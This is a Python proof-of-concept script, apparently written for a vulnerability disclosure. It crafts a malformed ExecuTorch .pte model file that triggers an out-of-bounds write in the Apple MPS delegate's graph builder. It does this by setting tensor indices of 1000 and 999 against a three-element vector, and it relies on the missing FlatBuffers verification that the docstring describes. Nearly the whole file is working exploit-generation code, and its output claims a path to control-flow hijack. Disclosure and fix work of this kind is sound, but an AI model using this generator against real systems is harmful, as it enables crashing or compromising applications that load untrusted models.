runtime_mps_poc/craft_malformed_mps_pte.py

#!/usr/bin/env python3
"""
craft_malformed_mps_pte.py

Generates a malformed ExecuTorch .pte file that triggers the OOB write in
Apple MPS delegate MPSGraphBuilder.mm:162 when loaded by executor_runner.

Bug: MPSGraphBuilder::compileModel() (MPSGraphBuilder.mm:57-64) does only
a 4-byte MPSGraphBufferHasIdentifier check then calls GetMPSGraph(buffer) at
line 64 with NO flatbuffers::Verifier. Then compileMPSGraph() (line 92) resizes
_idToMPSGraphTensor to mps_values()->size() (3 in our payload), then at
line 162 indexes with input_ids[0] = 1000 -- OOB write on a 3-element vector.

Call chain: MPSBackend.mm:60 -> MPSCompiler.mm:52 -> MPSGraphBuilder.mm:64

Compare: XNNPACK and Vulkan both have the two-line fix:
  flatbuffers::Verifier verifier(data, size);
  VerifyXXXBuffer(verifier);  // rejects before GetXXX() is ever called

Usage:
  python3 craft_malformed_mps_pte.py
  # Produces: malformed_mps.pte
  # Run:      ./build_asan/executor_runner --model_path malformed_mps.pte

Expected crash (MPSGraphBuilder.mm:162, OOB write, exit 139 or ASan report):
  _idToMPSGraphTensor[1000] = placeholder;
  ^^ vector has 3 elements; index 1000 is out of bounds
"""

import sys
import os
import struct

# ---- FlatBuffers Python library -------------------------------------------
import flatbuffers
from flatbuffers import builder as fb_builder

# ---- Generated MPS schema bindings (run: flatc --python mps_schema.fbs) ---
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "schemas"))
from mpsgraph import MPSGraph, MPSTensor, MPSDataType

# ---- Generated Program schema bindings ------------------------------------
from executorch_flatbuffer import (
    Program, ExecutionPlan, BackendDelegate, BackendDelegateDataReference,
    BackendDelegateInlineData, Chain, Instruction, DelegateCall,
    EValue, Tensor, AllocationDetails, CompileSpec
)
from executorch_flatbuffer import DataLocation, TensorShapeDynamism
import executorch_flatbuffer.KernelTypes as KT
import executorch_flatbuffer.InstructionArguments as IA


# ---------------------------------------------------------------------------
# Step 1: Build the malformed MPSGraph FlatBuffer
#
# Attack: mps_values has N=3 entries  -> _idToMPSGraphTensor.resize(3, nullptr)
#         input_ids[0]  = 1000        -> _idToMPSGraphTensor[1000] OOB WRITE
#         output_ids[0] = 999         -> also OOB
# ---------------------------------------------------------------------------
def build_malformed_mps_flatbuffer() -> bytes:
    b = flatbuffers.Builder(512)

    # Build 3 minimal MPSTensor tables (mps_values)
    tensor_offsets = []
    for _ in range(3):
        dims_vec = b.CreateNumpyVector(__import__('numpy').array([1], dtype='int32'))
        MPSTensor.MPSTensorStart(b)
        MPSTensor.MPSTensorAddDatatype(b, MPSDataType.MPSDataType.mps_data_type_float32)  # type 2
        MPSTensor.MPSTensorAddNumDims(b, 1)
        MPSTensor.MPSTensorAddDims(b, dims_vec)
        tensor_offsets.append(MPSTensor.MPSTensorEnd(b))

    # mps_values vector (3 entries)
    MPSGraph.MPSGraphStartMpsValuesVector(b, 3)
    for off in reversed(tensor_offsets):
        b.PrependUOffsetTRelative(off)
    mps_values_vec = b.EndVector(3)

    # input_ids = [1000]  <- the OOB index
    MPSGraph.MPSGraphStartInputIdsVector(b, 1)
    b.PrependInt32(1000)
    input_ids_vec = b.EndVector(1)

    # output_ids = [999]  <- also OOB (for the output path MPSGraphBuilder.mm:120/124)
    MPSGraph.MPSGraphStartOutputIdsVector(b, 1)
    b.PrependInt32(999)
    output_ids_vec = b.EndVector(1)

    # MPSGraph root
    MPSGraph.MPSGraphStart(b)
    MPSGraph.MPSGraphAddMpsValues(b, mps_values_vec)
    MPSGraph.MPSGraphAddInputIds(b, input_ids_vec)
    MPSGraph.MPSGraphAddOutputIds(b, output_ids_vec)
    mps_graph_root = MPSGraph.MPSGraphEnd(b)

    b.Finish(mps_graph_root)
    mps_buf = bytes(b.Output())

    # Patch in the MPS file identifier "MP00" at bytes 4-7
    # FlatBuffers layout: [root_offset(4)] [identifier(4)] [data...]
    # The builder doesn't add a file identifier by default; patch it manually.
    mps_buf = mps_buf[:4] + b"MP00" + mps_buf[8:]

    print(f"  [+] MPS FlatBuffer built: {len(mps_buf)} bytes")
    print(f"      mps_values count : 3  (controls resize)")
    print(f"      input_ids[0]     : 1000  (OOB write at MPSGraphBuilder.mm:162)")
    print(f"      output_ids[0]    : 999   (OOB write at MPSGraphBuilder.mm:120/124)")
    return mps_buf


# ---------------------------------------------------------------------------
# Step 2: Wrap in an ExecuTorch Program FlatBuffer
#
# Structure:
#   Program {
#     version: 0
#     execution_plan: [ ExecutionPlan {
#       name: "forward"
#       values: [ EValue(Tensor input), EValue(Tensor output) ]
#       inputs:  [0]
#       outputs: [1]
#       chains: [ Chain {
#         instructions: [ DelegateCall { delegate_index: 0, args: [0, 1] } ]
#       }]
#       delegates: [ BackendDelegate {
#         id: "mps"
#         processed: { location: INLINE, index: 0 }  <- backend_delegate_data[0]
#       }]
#       non_const_buffer_sizes: [0, 1024]
#     }]
#     backend_delegate_data: [ BackendDelegateInlineData { data: <mps_buf> } ]
#   }
# ---------------------------------------------------------------------------
def build_program_pte(mps_payload: bytes) -> bytes:
    import numpy as np
    b = flatbuffers.Builder(len(mps_payload) + 4096)

    # ---- backend_delegate_data[0]: our crafted MPS payload ----
    mps_data_vec = b.CreateByteVector(mps_payload)
    BackendDelegateInlineData.BackendDelegateInlineDataStart(b)
    BackendDelegateInlineData.BackendDelegateInlineDataAddData(b, mps_data_vec)
    inline_data = BackendDelegateInlineData.BackendDelegateInlineDataEnd(b)

    # ---- BackendDelegate: id="mps", processed -> inline index 0 ----
    id_str = b.CreateString("mps")

    BackendDelegateDataReference.BackendDelegateDataReferenceStart(b)
    BackendDelegateDataReference.BackendDelegateDataReferenceAddLocation(
        b, DataLocation.DataLocation.INLINE)
    BackendDelegateDataReference.BackendDelegateDataReferenceAddIndex(b, 0)
    processed_ref = BackendDelegateDataReference.BackendDelegateDataReferenceEnd(b)

    BackendDelegate.BackendDelegateStart(b)
    BackendDelegate.BackendDelegateAddId(b, id_str)
    BackendDelegate.BackendDelegateAddProcessed(b, processed_ref)
    delegate = BackendDelegate.BackendDelegateEnd(b)

    # ---- DelegateCall: delegate_index=0, args=[0,1] ----
    args_vec = b.CreateNumpyVector(np.array([0, 1], dtype='int32'))
    DelegateCall.DelegateCallStart(b)
    DelegateCall.DelegateCallAddDelegateIndex(b, 0)
    DelegateCall.DelegateCallAddArgs(b, args_vec)
    dcall = DelegateCall.DelegateCallEnd(b)

    # ---- Instruction wrapping the DelegateCall ----
    Instruction.InstructionStart(b)
    Instruction.InstructionAddInstrArgsType(b, IA.InstructionArguments.DelegateCall)
    Instruction.InstructionAddInstrArgs(b, dcall)
    instr = Instruction.InstructionEnd(b)

    # ---- Chain with one instruction ----
    instrs_vec = b.CreateNumpyVector(np.array([], dtype='int32'))  # placeholder; use manual
    Chain.ChainStartInstructionsVector(b, 1)
    b.PrependUOffsetTRelative(instr)
    instrs_vec = b.EndVector(1)

    Chain.ChainStart(b)
    Chain.ChainAddInstructions(b, instrs_vec)
    chain = Chain.ChainEnd(b)

    # ---- Two minimal tensors (input and output) ----
    # Tensor 0: input (float32, shape [1], mutable -- no data_buffer_idx)
    dims0 = b.CreateNumpyVector(np.array([1], dtype='int32'))
    dim_order0 = b.CreateNumpyVector(np.array([0], dtype='uint8'))
    Tensor.TensorStart(b)
    Tensor.TensorAddScalarType(b, 6)  # ScalarType.FLOAT = 6
    Tensor.TensorAddSizes(b, dims0)
    Tensor.TensorAddDimOrder(b, dim_order0)
    Tensor.TensorAddShapeDynamism(b, TensorShapeDynamism.TensorShapeDynamism.STATIC)
    t0 = Tensor.TensorEnd(b)

    EValue.EValueStart(b)
    EValue.EValueAddValType(b, KT.KernelTypes.Tensor)
    EValue.EValueAddVal(b, t0)
    ev0 = EValue.EValueEnd(b)

    # Tensor 1: output (same shape)
    dims1 = b.CreateNumpyVector(np.array([1], dtype='int32'))
    dim_order1 = b.CreateNumpyVector(np.array([0], dtype='uint8'))
    Tensor.TensorStart(b)
    Tensor.TensorAddScalarType(b, 6)
    Tensor.TensorAddSizes(b, dims1)
    Tensor.TensorAddDimOrder(b, dim_order1)
    Tensor.TensorAddShapeDynamism(b, TensorShapeDynamism.TensorShapeDynamism.STATIC)
    t1 = Tensor.TensorEnd(b)

    EValue.EValueStart(b)
    EValue.EValueAddValType(b, KT.KernelTypes.Tensor)
    EValue.EValueAddVal(b, t1)
    ev1 = EValue.EValueEnd(b)

    # ---- ExecutionPlan ----
    name_str = b.CreateString("forward")

    # values vector [ev0, ev1]
    ExecutionPlan.ExecutionPlanStartValuesVector(b, 2)
    b.PrependUOffsetTRelative(ev1)
    b.PrependUOffsetTRelative(ev0)
    values_vec = b.EndVector(2)

    inputs_vec = b.CreateNumpyVector(np.array([0], dtype='int32'))
    outputs_vec = b.CreateNumpyVector(np.array([1], dtype='int32'))

    # chains vector [chain]
    ExecutionPlan.ExecutionPlanStartChainsVector(b, 1)
    b.PrependUOffsetTRelative(chain)
    chains_vec = b.EndVector(1)

    # delegates vector [delegate]
    ExecutionPlan.ExecutionPlanStartDelegatesVector(b, 1)
    b.PrependUOffsetTRelative(delegate)
    delegates_vec = b.EndVector(1)

    non_const_sizes = b.CreateNumpyVector(np.array([0, 1024], dtype='int64'))

    ExecutionPlan.ExecutionPlanStart(b)
    ExecutionPlan.ExecutionPlanAddName(b, name_str)
    ExecutionPlan.ExecutionPlanAddValues(b, values_vec)
    ExecutionPlan.ExecutionPlanAddInputs(b, inputs_vec)
    ExecutionPlan.ExecutionPlanAddOutputs(b, outputs_vec)
    ExecutionPlan.ExecutionPlanAddChains(b, chains_vec)
    ExecutionPlan.ExecutionPlanAddDelegates(b, delegates_vec)
    ExecutionPlan.ExecutionPlanAddNonConstBufferSizes(b, non_const_sizes)
    ep = ExecutionPlan.ExecutionPlanEnd(b)

    # ---- Program ----
    # execution_plan vector [ep]
    Program.ProgramStartExecutionPlanVector(b, 1)
    b.PrependUOffsetTRelative(ep)
    ep_vec = b.EndVector(1)

    # backend_delegate_data vector [inline_data]
    Program.ProgramStartBackendDelegateDataVector(b, 1)
    b.PrependUOffsetTRelative(inline_data)
    bdd_vec = b.EndVector(1)

    Program.ProgramStart(b)
    Program.ProgramAddVersion(b, 0)
    Program.ProgramAddExecutionPlan(b, ep_vec)
    Program.ProgramAddBackendDelegateData(b, bdd_vec)
    prog = Program.ProgramEnd(b)

    b.Finish(prog)
    raw = bytes(b.Output())
    # Patch the FlatBuffers file identifier "ET12" into bytes 4-7.
    # Layout: [root_offset(4)] [identifier(4)] [data...]
    # b.Finish() doesn't set the identifier; we patch it manually.
    return raw[:4] + b"ET12" + raw[8:]


def main():
    print("=== ExecuTorch MPS Delegate Runtime PoC Generator ===")
    print("Vuln   : MPSGraphBuilder.mm:92,162")
    print("CWE    : CWE-787 (Out-of-bounds Write)")
    print("Impact : ObjC pointer written at attacker-chosen index -> type confusion -> CFH")
    print()

    print("[1/2] Building malformed MPSGraph FlatBuffer...")
    mps_payload = build_malformed_mps_flatbuffer()

    print()
    print("[2/2] Wrapping in ExecuTorch Program FlatBuffer (ET12)...")
    pte_bytes = build_program_pte(mps_payload)
    print(f"  [+] Program FlatBuffer: {len(pte_bytes)} bytes total")

    out_path = os.path.join(os.path.dirname(__file__), "malformed_mps.pte")
    with open(out_path, "wb") as f:
        f.write(pte_bytes)

    print(f"  [+] Written: {out_path}")
    print()
    print("To trigger the crash:")
    print(f"  ./build_asan/executor_runner --model_path {out_path}")
    print()
    print("Expected (MPSGraphBuilder.mm:162, exit 139 or ASan heap-buffer-overflow):")
    print("  vector size = 3 (from mps_values()->size())")
    print("  input_ids[0] = 1000 -> _idToMPSGraphTensor[1000] -> OOB write -> CRASH")


if __name__ == "__main__":
    main()